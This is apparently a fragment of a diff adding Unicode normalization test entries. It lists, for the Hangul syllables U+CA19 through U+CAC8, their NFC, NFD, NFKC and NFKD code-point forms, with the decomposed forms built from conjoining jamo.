+{ source: [0xCA19], NFC: [0xCA19], NFD: [0x110D, 0x1163, 0x11AC], NFKC: [0xCA19], NFKD: [0x110D, 0x1163, 0x11AC] },
+{ source: [0xCA1A], NFC: [0xCA1A], NFD: [0x110D, 0x1163, 0x11AD], NFKC: [0xCA1A], NFKD: [0x110D, 0x1163, 0x11AD] },
+{ source: [0xCA1B], NFC: [0xCA1B], NFD: [0x110D, 0x1163, 0x11AE], NFKC: [0xCA1B], NFKD: [0x110D, 0x1163, 0x11AE] },
+{ source: [0xCA1C], NFC: [0xCA1C], NFD: [0x110D, 0x1163, 0x11AF], NFKC: [0xCA1C], NFKD: [0x110D, 0x1163, 0x11AF] },
+{ source: [0xCA1D], NFC: [0xCA1D], NFD: [0x110D, 0x1163, 0x11B0], NFKC: [0xCA1D], NFKD: [0x110D, 0x1163, 0x11B0] },
+{ source: [0xCA1E], NFC: [0xCA1E], NFD: [0x110D, 0x1163, 0x11B1], NFKC: [0xCA1E], NFKD: [0x110D, 0x1163, 0x11B1] },
+{ source: [0xCA1F], NFC: [0xCA1F], NFD: [0x110D, 0x1163, 0x11B2], NFKC: [0xCA1F], NFKD: [0x110D, 0x1163, 0x11B2] },
+{ source: [0xCA20], NFC: [0xCA20], NFD: [0x110D, 0x1163, 0x11B3], NFKC: [0xCA20], NFKD: [0x110D, 0x1163, 0x11B3] },
+{ source: [0xCA21], NFC: [0xCA21], NFD: [0x110D, 0x1163, 0x11B4], NFKC: [0xCA21], NFKD: [0x110D, 0x1163, 0x11B4] },
+{ source: [0xCA22], NFC: [0xCA22], NFD: [0x110D, 0x1163, 0x11B5], NFKC: [0xCA22], NFKD: [0x110D, 0x1163, 0x11B5] },
+{ source: [0xCA23], NFC: [0xCA23], NFD: [0x110D, 0x1163, 0x11B6], NFKC: [0xCA23], NFKD: [0x110D, 0x1163, 0x11B6] },
+{ source: [0xCA24], NFC: [0xCA24], NFD: [0x110D, 0x1163, 0x11B7], NFKC: [0xCA24], NFKD: [0x110D, 0x1163, 0x11B7] },
+{ source: [0xCA25], NFC: [0xCA25], NFD: [0x110D, 0x1163, 0x11B8], NFKC: [0xCA25], NFKD: [0x110D, 0x1163, 0x11B8] },
+{ source: [0xCA26], NFC: [0xCA26], NFD: [0x110D, 0x1163, 0x11B9], NFKC: [0xCA26], NFKD: [0x110D, 0x1163, 0x11B9] },
+{ source: [0xCA27], NFC: [0xCA27], NFD: [0x110D, 0x1163, 0x11BA], NFKC: [0xCA27], NFKD: [0x110D, 0x1163, 0x11BA] },
+{ source: [0xCA28], NFC: [0xCA28], NFD: [0x110D, 0x1163, 0x11BB], NFKC: [0xCA28], NFKD: [0x110D, 0x1163, 0x11BB] },
+{ source: [0xCA29], NFC: [0xCA29], NFD: [0x110D, 0x1163, 0x11BC], NFKC: [0xCA29], NFKD: [0x110D, 0x1163, 0x11BC] },
+{ source: [0xCA2A], NFC: [0xCA2A], NFD: [0x110D, 0x1163, 0x11BD], NFKC: [0xCA2A], NFKD: [0x110D, 0x1163, 0x11BD] },
+{ source: [0xCA2B], NFC: [0xCA2B], NFD: [0x110D, 0x1163, 0x11BE], NFKC: [0xCA2B], NFKD: [0x110D, 0x1163, 0x11BE] },
+{ source: [0xCA2C], NFC: [0xCA2C], NFD: [0x110D, 0x1163, 0x11BF], NFKC: [0xCA2C], NFKD: [0x110D, 0x1163, 0x11BF] },
+{ source: [0xCA2D], NFC: [0xCA2D], NFD: [0x110D, 0x1163, 0x11C0], NFKC: [0xCA2D], NFKD: [0x110D, 0x1163, 0x11C0] },
+{ source: [0xCA2E], NFC: [0xCA2E], NFD: [0x110D, 0x1163, 0x11C1], NFKC: [0xCA2E], NFKD: [0x110D, 0x1163, 0x11C1] },
+{ source: [0xCA2F], NFC: [0xCA2F], NFD: [0x110D, 0x1163, 0x11C2], NFKC: [0xCA2F], NFKD: [0x110D, 0x1163, 0x11C2] },
+{ source: [0xCA30], NFC: [0xCA30], NFD: [0x110D, 0x1164], NFKC: [0xCA30], NFKD: [0x110D, 0x1164] },
+{ source: [0xCA31], NFC: [0xCA31], NFD: [0x110D, 0x1164, 0x11A8], NFKC: [0xCA31], NFKD: [0x110D, 0x1164, 0x11A8] },
+{ source: [0xCA32], NFC: [0xCA32], NFD: [0x110D, 0x1164, 0x11A9], NFKC: [0xCA32], NFKD: [0x110D, 0x1164, 0x11A9] },
+{ source: [0xCA33], NFC: [0xCA33], NFD: [0x110D, 0x1164, 0x11AA], NFKC: [0xCA33], NFKD: [0x110D, 0x1164, 0x11AA] },
+{ source: [0xCA34], NFC: [0xCA34], NFD: [0x110D, 0x1164, 0x11AB], NFKC: [0xCA34], NFKD: [0x110D, 0x1164, 0x11AB] },
+{ source: [0xCA35], NFC: [0xCA35], NFD: [0x110D, 0x1164, 0x11AC], NFKC: [0xCA35], NFKD: [0x110D, 0x1164, 0x11AC] },
+{ source: [0xCA36], NFC: [0xCA36], NFD: [0x110D, 0x1164, 0x11AD], NFKC: [0xCA36], NFKD: [0x110D, 0x1164, 0x11AD] },
+{ source: [0xCA37], NFC: [0xCA37], NFD: [0x110D, 0x1164, 0x11AE], NFKC: [0xCA37], NFKD: [0x110D, 0x1164, 0x11AE] },
+{ source: [0xCA38], NFC: [0xCA38], NFD: [0x110D, 0x1164, 0x11AF], NFKC: [0xCA38], NFKD: [0x110D, 0x1164, 0x11AF] },
+{ source: [0xCA39], NFC: [0xCA39], NFD: [0x110D, 0x1164, 0x11B0], NFKC: [0xCA39], NFKD: [0x110D, 0x1164, 0x11B0] },
+{ source: [0xCA3A], NFC: [0xCA3A], NFD: [0x110D, 0x1164, 0x11B1], NFKC: [0xCA3A], NFKD: [0x110D, 0x1164, 0x11B1] },
+{ source: [0xCA3B], NFC: [0xCA3B], NFD: [0x110D, 0x1164, 0x11B2], NFKC: [0xCA3B], NFKD: [0x110D, 0x1164, 0x11B2] },
+{ source: [0xCA3C], NFC: [0xCA3C], NFD: [0x110D, 0x1164, 0x11B3], NFKC: [0xCA3C], NFKD: [0x110D, 0x1164, 0x11B3] },
+{ source: [0xCA3D], NFC: [0xCA3D], NFD: [0x110D, 0x1164, 0x11B4], NFKC: [0xCA3D], NFKD: [0x110D, 0x1164, 0x11B4] },
+{ source: [0xCA3E], NFC: [0xCA3E], NFD: [0x110D, 0x1164, 0x11B5], NFKC: [0xCA3E], NFKD: [0x110D, 0x1164, 0x11B5] },
+{ source: [0xCA3F], NFC: [0xCA3F], NFD: [0x110D, 0x1164, 0x11B6], NFKC: [0xCA3F], NFKD: [0x110D, 0x1164, 0x11B6] },
+{ source: [0xCA40], NFC: [0xCA40], NFD: [0x110D, 0x1164, 0x11B7], NFKC: [0xCA40], NFKD: [0x110D, 0x1164, 0x11B7] },
+{ source: [0xCA41], NFC: [0xCA41], NFD: [0x110D, 0x1164, 0x11B8], NFKC: [0xCA41], NFKD: [0x110D, 0x1164, 0x11B8] },
+{ source: [0xCA42], NFC: [0xCA42], NFD: [0x110D, 0x1164, 0x11B9], NFKC: [0xCA42], NFKD: [0x110D, 0x1164, 0x11B9] },
+{ source: [0xCA43], NFC: [0xCA43], NFD: [0x110D, 0x1164, 0x11BA], NFKC: [0xCA43], NFKD: [0x110D, 0x1164, 0x11BA] },
+{ source: [0xCA44], NFC: [0xCA44], NFD: [0x110D, 0x1164, 0x11BB], NFKC: [0xCA44], NFKD: [0x110D, 0x1164, 0x11BB] },
+{ source: [0xCA45], NFC: [0xCA45], NFD: [0x110D, 0x1164, 0x11BC], NFKC: [0xCA45], NFKD: [0x110D, 0x1164, 0x11BC] },
+{ source: [0xCA46], NFC: [0xCA46], NFD: [0x110D, 0x1164, 0x11BD], NFKC: [0xCA46], NFKD: [0x110D, 0x1164, 0x11BD] },
+{ source: [0xCA47], NFC: [0xCA47], NFD: [0x110D, 0x1164, 0x11BE], NFKC: [0xCA47], NFKD: [0x110D, 0x1164, 0x11BE] },
+{ source: [0xCA48], NFC: [0xCA48], NFD: [0x110D, 0x1164, 0x11BF], NFKC: [0xCA48], NFKD: [0x110D, 0x1164, 0x11BF] },
+{ source: [0xCA49], NFC: [0xCA49], NFD: [0x110D, 0x1164, 0x11C0], NFKC: [0xCA49], NFKD: [0x110D, 0x1164, 0x11C0] },
+{ source: [0xCA4A], NFC: [0xCA4A], NFD: [0x110D, 0x1164, 0x11C1], NFKC: [0xCA4A], NFKD: [0x110D, 0x1164, 0x11C1] },
+{ source: [0xCA4B], NFC: [0xCA4B], NFD: [0x110D, 0x1164, 0x11C2], NFKC: [0xCA4B], NFKD: [0x110D, 0x1164, 0x11C2] },
+{ source: [0xCA4C], NFC: [0xCA4C], NFD: [0x110D, 0x1165], NFKC: [0xCA4C], NFKD: [0x110D, 0x1165] },
+{ source: [0xCA4D], NFC: [0xCA4D], NFD: [0x110D, 0x1165, 0x11A8], NFKC: [0xCA4D], NFKD: [0x110D, 0x1165, 0x11A8] },
+{ source: [0xCA4E], NFC: [0xCA4E], NFD: [0x110D, 0x1165, 0x11A9], NFKC: [0xCA4E], NFKD: [0x110D, 0x1165, 0x11A9] },
+{ source: [0xCA4F], NFC: [0xCA4F], NFD: [0x110D, 0x1165, 0x11AA], NFKC: [0xCA4F], NFKD: [0x110D, 0x1165, 0x11AA] },
+{ source: [0xCA50], NFC: [0xCA50], NFD: [0x110D, 0x1165, 0x11AB], NFKC: [0xCA50], NFKD: [0x110D, 0x1165, 0x11AB] },
+{ source: [0xCA51], NFC: [0xCA51], NFD: [0x110D, 0x1165, 0x11AC], NFKC: [0xCA51], NFKD: [0x110D, 0x1165, 0x11AC] },
+{ source: [0xCA52], NFC: [0xCA52], NFD: [0x110D, 0x1165, 0x11AD], NFKC: [0xCA52], NFKD: [0x110D, 0x1165, 0x11AD] },
+{ source: [0xCA53], NFC: [0xCA53], NFD: [0x110D, 0x1165, 0x11AE], NFKC: [0xCA53], NFKD: [0x110D, 0x1165, 0x11AE] },
+{ source: [0xCA54], NFC: [0xCA54], NFD: [0x110D, 0x1165, 0x11AF], NFKC: [0xCA54], NFKD: [0x110D, 0x1165, 0x11AF] },
+{ source: [0xCA55], NFC: [0xCA55], NFD: [0x110D, 0x1165, 0x11B0], NFKC: [0xCA55], NFKD: [0x110D, 0x1165, 0x11B0] },
+{ source: [0xCA56], NFC: [0xCA56], NFD: [0x110D, 0x1165, 0x11B1], NFKC: [0xCA56], NFKD: [0x110D, 0x1165, 0x11B1] },
+{ source: [0xCA57], NFC: [0xCA57], NFD: [0x110D, 0x1165, 0x11B2], NFKC: [0xCA57], NFKD: [0x110D, 0x1165, 0x11B2] },
+{ source: [0xCA58], NFC: [0xCA58], NFD: [0x110D, 0x1165, 0x11B3], NFKC: [0xCA58], NFKD: [0x110D, 0x1165, 0x11B3] },
+{ source: [0xCA59], NFC: [0xCA59], NFD: [0x110D, 0x1165, 0x11B4], NFKC: [0xCA59], NFKD: [0x110D, 0x1165, 0x11B4] },
+{ source: [0xCA5A], NFC: [0xCA5A], NFD: [0x110D, 0x1165, 0x11B5], NFKC: [0xCA5A], NFKD: [0x110D, 0x1165, 0x11B5] },
+{ source: [0xCA5B], NFC: [0xCA5B], NFD: [0x110D, 0x1165, 0x11B6], NFKC: [0xCA5B], NFKD: [0x110D, 0x1165, 0x11B6] },
+{ source: [0xCA5C], NFC: [0xCA5C], NFD: [0x110D, 0x1165, 0x11B7], NFKC: [0xCA5C], NFKD: [0x110D, 0x1165, 0x11B7] },
+{ source: [0xCA5D], NFC: [0xCA5D], NFD: [0x110D, 0x1165, 0x11B8], NFKC: [0xCA5D], NFKD: [0x110D, 0x1165, 0x11B8] },
+{ source: [0xCA5E], NFC: [0xCA5E], NFD: [0x110D, 0x1165, 0x11B9], NFKC: [0xCA5E], NFKD: [0x110D, 0x1165, 0x11B9] },
+{ source: [0xCA5F], NFC: [0xCA5F], NFD: [0x110D, 0x1165, 0x11BA], NFKC: [0xCA5F], NFKD: [0x110D, 0x1165, 0x11BA] },
+{ source: [0xCA60], NFC: [0xCA60], NFD: [0x110D, 0x1165, 0x11BB], NFKC: [0xCA60], NFKD: [0x110D, 0x1165, 0x11BB] },
+{ source: [0xCA61], NFC: [0xCA61], NFD: [0x110D, 0x1165, 0x11BC], NFKC: [0xCA61], NFKD: [0x110D, 0x1165, 0x11BC] },
+{ source: [0xCA62], NFC: [0xCA62], NFD: [0x110D, 0x1165, 0x11BD], NFKC: [0xCA62], NFKD: [0x110D, 0x1165, 0x11BD] },
+{ source: [0xCA63], NFC: [0xCA63], NFD: [0x110D, 0x1165, 0x11BE], NFKC: [0xCA63], NFKD: [0x110D, 0x1165, 0x11BE] },
+{ source: [0xCA64], NFC: [0xCA64], NFD: [0x110D, 0x1165, 0x11BF], NFKC: [0xCA64], NFKD: [0x110D, 0x1165, 0x11BF] },
+{ source: [0xCA65], NFC: [0xCA65], NFD: [0x110D, 0x1165, 0x11C0], NFKC: [0xCA65], NFKD: [0x110D, 0x1165, 0x11C0] },
+{ source: [0xCA66], NFC: [0xCA66], NFD: [0x110D, 0x1165, 0x11C1], NFKC: [0xCA66], NFKD: [0x110D, 0x1165, 0x11C1] },
+{ source: [0xCA67], NFC: [0xCA67], NFD: [0x110D, 0x1165, 0x11C2], NFKC: [0xCA67], NFKD: [0x110D, 0x1165, 0x11C2] },
+{ source: [0xCA68], NFC: [0xCA68], NFD: [0x110D, 0x1166], NFKC: [0xCA68], NFKD: [0x110D, 0x1166] },
+{ source: [0xCA69], NFC: [0xCA69], NFD: [0x110D, 0x1166, 0x11A8], NFKC: [0xCA69], NFKD: [0x110D, 0x1166, 0x11A8] },
+{ source: [0xCA6A], NFC: [0xCA6A], NFD: [0x110D, 0x1166, 0x11A9], NFKC: [0xCA6A], NFKD: [0x110D, 0x1166, 0x11A9] },
+{ source: [0xCA6B], NFC: [0xCA6B], NFD: [0x110D, 0x1166, 0x11AA], NFKC: [0xCA6B], NFKD: [0x110D, 0x1166, 0x11AA] },
+{ source: [0xCA6C], NFC: [0xCA6C], NFD: [0x110D, 0x1166, 0x11AB], NFKC: [0xCA6C], NFKD: [0x110D, 0x1166, 0x11AB] },
+{ source: [0xCA6D], NFC: [0xCA6D], NFD: [0x110D, 0x1166, 0x11AC], NFKC: [0xCA6D], NFKD: [0x110D, 0x1166, 0x11AC] },
+{ source: [0xCA6E], NFC: [0xCA6E], NFD: [0x110D, 0x1166, 0x11AD], NFKC: [0xCA6E], NFKD: [0x110D, 0x1166, 0x11AD] },
+{ source: [0xCA6F], NFC: [0xCA6F], NFD: [0x110D, 0x1166, 0x11AE], NFKC: [0xCA6F], NFKD: [0x110D, 0x1166, 0x11AE] },
+{ source: [0xCA70], NFC: [0xCA70], NFD: [0x110D, 0x1166, 0x11AF], NFKC: [0xCA70], NFKD: [0x110D, 0x1166, 0x11AF] },
+{ source: [0xCA71], NFC: [0xCA71], NFD: [0x110D, 0x1166, 0x11B0], NFKC: [0xCA71], NFKD: [0x110D, 0x1166, 0x11B0] },
+{ source: [0xCA72], NFC: [0xCA72], NFD: [0x110D, 0x1166, 0x11B1], NFKC: [0xCA72], NFKD: [0x110D, 0x1166, 0x11B1] },
+{ source: [0xCA73], NFC: [0xCA73], NFD: [0x110D, 0x1166, 0x11B2], NFKC: [0xCA73], NFKD: [0x110D, 0x1166, 0x11B2] },
+{ source: [0xCA74], NFC: [0xCA74], NFD: [0x110D, 0x1166, 0x11B3], NFKC: [0xCA74], NFKD: [0x110D, 0x1166, 0x11B3] },
+{ source: [0xCA75], NFC: [0xCA75], NFD: [0x110D, 0x1166, 0x11B4], NFKC: [0xCA75], NFKD: [0x110D, 0x1166, 0x11B4] },
+{ source: [0xCA76], NFC: [0xCA76], NFD: [0x110D, 0x1166, 0x11B5], NFKC: [0xCA76], NFKD: [0x110D, 0x1166, 0x11B5] },
+{ source: [0xCA77], NFC: [0xCA77], NFD: [0x110D, 0x1166, 0x11B6], NFKC: [0xCA77], NFKD: [0x110D, 0x1166, 0x11B6] },
+{ source: [0xCA78], NFC: [0xCA78], NFD: [0x110D, 0x1166, 0x11B7], NFKC: [0xCA78], NFKD: [0x110D, 0x1166, 0x11B7] },
+{ source: [0xCA79], NFC: [0xCA79], NFD: [0x110D, 0x1166, 0x11B8], NFKC: [0xCA79], NFKD: [0x110D, 0x1166, 0x11B8] },
+{ source: [0xCA7A], NFC: [0xCA7A], NFD: [0x110D, 0x1166, 0x11B9], NFKC: [0xCA7A], NFKD: [0x110D, 0x1166, 0x11B9] },
+{ source: [0xCA7B], NFC: [0xCA7B], NFD: [0x110D, 0x1166, 0x11BA], NFKC: [0xCA7B], NFKD: [0x110D, 0x1166, 0x11BA] },
+{ source: [0xCA7C], NFC: [0xCA7C], NFD: [0x110D, 0x1166, 0x11BB], NFKC: [0xCA7C], NFKD: [0x110D, 0x1166, 0x11BB] },
+{ source: [0xCA7D], NFC: [0xCA7D], NFD: [0x110D, 0x1166, 0x11BC], NFKC: [0xCA7D], NFKD: [0x110D, 0x1166, 0x11BC] },
+{ source: [0xCA7E], NFC: [0xCA7E], NFD: [0x110D, 0x1166, 0x11BD], NFKC: [0xCA7E], NFKD: [0x110D, 0x1166, 0x11BD] },
+{ source: [0xCA7F], NFC: [0xCA7F], NFD: [0x110D, 0x1166, 0x11BE], NFKC: [0xCA7F], NFKD: [0x110D, 0x1166, 0x11BE] },
+{ source: [0xCA80], NFC: [0xCA80], NFD: [0x110D, 0x1166, 0x11BF], NFKC: [0xCA80], NFKD: [0x110D, 0x1166, 0x11BF] },
+{ source: [0xCA81], NFC: [0xCA81], NFD: [0x110D, 0x1166, 0x11C0], NFKC: [0xCA81], NFKD: [0x110D, 0x1166, 0x11C0] },
+{ source: [0xCA82], NFC: [0xCA82], NFD: [0x110D, 0x1166, 0x11C1], NFKC: [0xCA82], NFKD: [0x110D, 0x1166, 0x11C1] },
+{ source: [0xCA83], NFC: [0xCA83], NFD: [0x110D, 0x1166, 0x11C2], NFKC: [0xCA83], NFKD: [0x110D, 0x1166, 0x11C2] },
+{ source: [0xCA84], NFC: [0xCA84], NFD: [0x110D, 0x1167], NFKC: [0xCA84], NFKD: [0x110D, 0x1167] },
+{ source: [0xCA85], NFC: [0xCA85], NFD: [0x110D, 0x1167, 0x11A8], NFKC: [0xCA85], NFKD: [0x110D, 0x1167, 0x11A8] },
+{ source: [0xCA86], NFC: [0xCA86], NFD: [0x110D, 0x1167, 0x11A9], NFKC: [0xCA86], NFKD: [0x110D, 0x1167, 0x11A9] },
+{ source: [0xCA87], NFC: [0xCA87], NFD: [0x110D, 0x1167, 0x11AA], NFKC: [0xCA87], NFKD: [0x110D, 0x1167, 0x11AA] },
+{ source: [0xCA88], NFC: [0xCA88], NFD: [0x110D, 0x1167, 0x11AB], NFKC: [0xCA88], NFKD: [0x110D, 0x1167, 0x11AB] },
+{ source: [0xCA89], NFC: [0xCA89], NFD: [0x110D, 0x1167, 0x11AC], NFKC: [0xCA89], NFKD: [0x110D, 0x1167, 0x11AC] },
+{ source: [0xCA8A], NFC: [0xCA8A], NFD: [0x110D, 0x1167, 0x11AD], NFKC: [0xCA8A], NFKD: [0x110D, 0x1167, 0x11AD] },
+{ source: [0xCA8B], NFC: [0xCA8B], NFD: [0x110D, 0x1167, 0x11AE], NFKC: [0xCA8B], NFKD: [0x110D, 0x1167, 0x11AE] },
+{ source: [0xCA8C], NFC: [0xCA8C], NFD: [0x110D, 0x1167, 0x11AF], NFKC: [0xCA8C], NFKD: [0x110D, 0x1167, 0x11AF] },
+{ source: [0xCA8D], NFC: [0xCA8D], NFD: [0x110D, 0x1167, 0x11B0], NFKC: [0xCA8D], NFKD: [0x110D, 0x1167, 0x11B0] },
+{ source: [0xCA8E], NFC: [0xCA8E], NFD: [0x110D, 0x1167, 0x11B1], NFKC: [0xCA8E], NFKD: [0x110D, 0x1167, 0x11B1] },
+{ source: [0xCA8F], NFC: [0xCA8F], NFD: [0x110D, 0x1167, 0x11B2], NFKC: [0xCA8F], NFKD: [0x110D, 0x1167, 0x11B2] },
+{ source: [0xCA90], NFC: [0xCA90], NFD: [0x110D, 0x1167, 0x11B3], NFKC: [0xCA90], NFKD: [0x110D, 0x1167, 0x11B3] },
+{ source: [0xCA91], NFC: [0xCA91], NFD: [0x110D, 0x1167, 0x11B4], NFKC: [0xCA91], NFKD: [0x110D, 0x1167, 0x11B4] },
+{ source: [0xCA92], NFC: [0xCA92], NFD: [0x110D, 0x1167, 0x11B5], NFKC: [0xCA92], NFKD: [0x110D, 0x1167, 0x11B5] },
+{ source: [0xCA93], NFC: [0xCA93], NFD: [0x110D, 0x1167, 0x11B6], NFKC: [0xCA93], NFKD: [0x110D, 0x1167, 0x11B6] },
+{ source: [0xCA94], NFC: [0xCA94], NFD: [0x110D, 0x1167, 0x11B7], NFKC: [0xCA94], NFKD: [0x110D, 0x1167, 0x11B7] },
+{ source: [0xCA95], NFC: [0xCA95], NFD: [0x110D, 0x1167, 0x11B8], NFKC: [0xCA95], NFKD: [0x110D, 0x1167, 0x11B8] },
+{ source: [0xCA96], NFC: [0xCA96], NFD: [0x110D, 0x1167, 0x11B9], NFKC: [0xCA96], NFKD: [0x110D, 0x1167, 0x11B9] },
+{ source: [0xCA97], NFC: [0xCA97], NFD: [0x110D, 0x1167, 0x11BA], NFKC: [0xCA97], NFKD: [0x110D, 0x1167, 0x11BA] },
+{ source: [0xCA98], NFC: [0xCA98], NFD: [0x110D, 0x1167, 0x11BB], NFKC: [0xCA98], NFKD: [0x110D, 0x1167, 0x11BB] },
+{ source: [0xCA99], NFC: [0xCA99], NFD: [0x110D, 0x1167, 0x11BC], NFKC: [0xCA99], NFKD: [0x110D, 0x1167, 0x11BC] },
+{ source: [0xCA9A], NFC: [0xCA9A], NFD: [0x110D, 0x1167, 0x11BD], NFKC: [0xCA9A], NFKD: [0x110D, 0x1167, 0x11BD] },
+{ source: [0xCA9B], NFC: [0xCA9B], NFD: [0x110D, 0x1167, 0x11BE], NFKC: [0xCA9B], NFKD: [0x110D, 0x1167, 0x11BE] },
+{ source: [0xCA9C], NFC: [0xCA9C], NFD: [0x110D, 0x1167, 0x11BF], NFKC: [0xCA9C], NFKD: [0x110D, 0x1167, 0x11BF] },
+{ source: [0xCA9D], NFC: [0xCA9D], NFD: [0x110D, 0x1167, 0x11C0], NFKC: [0xCA9D], NFKD: [0x110D, 0x1167, 0x11C0] },
+{ source: [0xCA9E], NFC: [0xCA9E], NFD: [0x110D, 0x1167, 0x11C1], NFKC: [0xCA9E], NFKD: [0x110D, 0x1167, 0x11C1] },
+{ source: [0xCA9F], NFC: [0xCA9F], NFD: [0x110D, 0x1167, 0x11C2], NFKC: [0xCA9F], NFKD: [0x110D, 0x1167, 0x11C2] },
+{ source: [0xCAA0], NFC: [0xCAA0], NFD: [0x110D, 0x1168], NFKC: [0xCAA0], NFKD: [0x110D, 0x1168] },
+{ source: [0xCAA1], NFC: [0xCAA1], NFD: [0x110D, 0x1168, 0x11A8], NFKC: [0xCAA1], NFKD: [0x110D, 0x1168, 0x11A8] },
+{ source: [0xCAA2], NFC: [0xCAA2], NFD: [0x110D, 0x1168, 0x11A9], NFKC: [0xCAA2], NFKD: [0x110D, 0x1168, 0x11A9] },
+{ source: [0xCAA3], NFC: [0xCAA3], NFD: [0x110D, 0x1168, 0x11AA], NFKC: [0xCAA3], NFKD: [0x110D, 0x1168, 0x11AA] },
+{ source: [0xCAA4], NFC: [0xCAA4], NFD: [0x110D, 0x1168, 0x11AB], NFKC: [0xCAA4], NFKD: [0x110D, 0x1168, 0x11AB] },
+{ source: [0xCAA5], NFC: [0xCAA5], NFD: [0x110D, 0x1168, 0x11AC], NFKC: [0xCAA5], NFKD: [0x110D, 0x1168, 0x11AC] },
+{ source: [0xCAA6], NFC: [0xCAA6], NFD: [0x110D, 0x1168, 0x11AD], NFKC: [0xCAA6], NFKD: [0x110D, 0x1168, 0x11AD] },
+{ source: [0xCAA7], NFC: [0xCAA7], NFD: [0x110D, 0x1168, 0x11AE], NFKC: [0xCAA7], NFKD: [0x110D, 0x1168, 0x11AE] },
+{ source: [0xCAA8], NFC: [0xCAA8], NFD: [0x110D, 0x1168, 0x11AF], NFKC: [0xCAA8], NFKD: [0x110D, 0x1168, 0x11AF] },
+{ source: [0xCAA9], NFC: [0xCAA9], NFD: [0x110D, 0x1168, 0x11B0], NFKC: [0xCAA9], NFKD: [0x110D, 0x1168, 0x11B0] },
+{ source: [0xCAAA], NFC: [0xCAAA], NFD: [0x110D, 0x1168, 0x11B1], NFKC: [0xCAAA], NFKD: [0x110D, 0x1168, 0x11B1] },
+{ source: [0xCAAB], NFC: [0xCAAB], NFD: [0x110D, 0x1168, 0x11B2], NFKC: [0xCAAB], NFKD: [0x110D, 0x1168, 0x11B2] },
+{ source: [0xCAAC], NFC: [0xCAAC], NFD: [0x110D, 0x1168, 0x11B3], NFKC: [0xCAAC], NFKD: [0x110D, 0x1168, 0x11B3] },
+{ source: [0xCAAD], NFC: [0xCAAD], NFD: [0x110D, 0x1168, 0x11B4], NFKC: [0xCAAD], NFKD: [0x110D, 0x1168, 0x11B4] },
+{ source: [0xCAAE], NFC: [0xCAAE], NFD: [0x110D, 0x1168, 0x11B5], NFKC: [0xCAAE], NFKD: [0x110D, 0x1168, 0x11B5] },
+{ source: [0xCAAF], NFC: [0xCAAF], NFD: [0x110D, 0x1168, 0x11B6], NFKC: [0xCAAF], NFKD: [0x110D, 0x1168, 0x11B6] },
+{ source: [0xCAB0], NFC: [0xCAB0], NFD: [0x110D, 0x1168, 0x11B7], NFKC: [0xCAB0], NFKD: [0x110D, 0x1168, 0x11B7] },
+{ source: [0xCAB1], NFC: [0xCAB1], NFD: [0x110D, 0x1168, 0x11B8], NFKC: [0xCAB1], NFKD: [0x110D, 0x1168, 0x11B8] },
+{ source: [0xCAB2], NFC: [0xCAB2], NFD: [0x110D, 0x1168, 0x11B9], NFKC: [0xCAB2], NFKD: [0x110D, 0x1168, 0x11B9] },
+{ source: [0xCAB3], NFC: [0xCAB3], NFD: [0x110D, 0x1168, 0x11BA], NFKC: [0xCAB3], NFKD: [0x110D, 0x1168, 0x11BA] },
+{ source: [0xCAB4], NFC: [0xCAB4], NFD: [0x110D, 0x1168, 0x11BB], NFKC: [0xCAB4], NFKD: [0x110D, 0x1168, 0x11BB] },
+{ source: [0xCAB5], NFC: [0xCAB5], NFD: [0x110D, 0x1168, 0x11BC], NFKC: [0xCAB5], NFKD: [0x110D, 0x1168, 0x11BC] },
+{ source: [0xCAB6], NFC: [0xCAB6], NFD: [0x110D, 0x1168, 0x11BD], NFKC: [0xCAB6], NFKD: [0x110D, 0x1168, 0x11BD] },
+{ source: [0xCAB7], NFC: [0xCAB7], NFD: [0x110D, 0x1168, 0x11BE], NFKC: [0xCAB7], NFKD: [0x110D, 0x1168, 0x11BE] },
+{ source: [0xCAB8], NFC: [0xCAB8], NFD: [0x110D, 0x1168, 0x11BF], NFKC: [0xCAB8], NFKD: [0x110D, 0x1168, 0x11BF] },
+{ source: [0xCAB9], NFC: [0xCAB9], NFD: [0x110D, 0x1168, 0x11C0], NFKC: [0xCAB9], NFKD: [0x110D, 0x1168, 0x11C0] },
+{ source: [0xCABA], NFC: [0xCABA], NFD: [0x110D, 0x1168, 0x11C1], NFKC: [0xCABA], NFKD: [0x110D, 0x1168, 0x11C1] },
+{ source: [0xCABB], NFC: [0xCABB], NFD: [0x110D, 0x1168, 0x11C2], NFKC: [0xCABB], NFKD: [0x110D, 0x1168, 0x11C2] },
+{ source: [0xCABC], NFC: [0xCABC], NFD: [0x110D, 0x1169], NFKC: [0xCABC], NFKD: [0x110D, 0x1169] },
+{ source: [0xCABD], NFC: [0xCABD], NFD: [0x110D, 0x1169, 0x11A8], NFKC: [0xCABD], NFKD: [0x110D, 0x1169, 0x11A8] },
+{ source: [0xCABE], NFC: [0xCABE], NFD: [0x110D, 0x1169, 0x11A9], NFKC: [0xCABE], NFKD: [0x110D, 0x1169, 0x11A9] },
+{ source: [0xCABF], NFC: [0xCABF], NFD: [0x110D, 0x1169, 0x11AA], NFKC: [0xCABF], NFKD: [0x110D, 0x1169, 0x11AA] },
+{ source: [0xCAC0], NFC: [0xCAC0], NFD: [0x110D, 0x1169, 0x11AB], NFKC: [0xCAC0], NFKD: [0x110D, 0x1169, 0x11AB] },
+{ source: [0xCAC1], NFC: [0xCAC1], NFD: [0x110D, 0x1169, 0x11AC], NFKC: [0xCAC1], NFKD: [0x110D, 0x1169, 0x11AC] },
+{ source: [0xCAC2], NFC: [0xCAC2], NFD: [0x110D, 0x1169, 0x11AD], NFKC: [0xCAC2], NFKD: [0x110D, 0x1169, 0x11AD] },
+{ source: [0xCAC3], NFC: [0xCAC3], NFD: [0x110D, 0x1169, 0x11AE], NFKC: [0xCAC3], NFKD: [0x110D, 0x1169, 0x11AE] },
+{ source: [0xCAC4], NFC: [0xCAC4], NFD: [0x110D, 0x1169, 0x11AF], NFKC: [0xCAC4], NFKD: [0x110D, 0x1169, 0x11AF] },
+{ source: [0xCAC5], NFC: [0xCAC5], NFD: [0x110D, 0x1169, 0x11B0], NFKC: [0xCAC5], NFKD: [0x110D, 0x1169, 0x11B0] },
+{ source: [0xCAC6], NFC: [0xCAC6], NFD: [0x110D, 0x1169, 0x11B1], NFKC: [0xCAC6], NFKD: [0x110D, 0x1169, 0x11B1] },
+{ source: [0xCAC7], NFC: [0xCAC7], NFD: [0x110D, 0x1169, 0x11B2], NFKC: [0xCAC7], NFKD: [0x110D, 0x1169, 0x11B2] },
+{ source: [0xCAC8], NFC: [0xCAC8], NFD: [0x110D, 0x1169, 0x11B3], NFKC: [0xCAC8], NFKD: [0x110D, 0x1169, 0x11B3] },
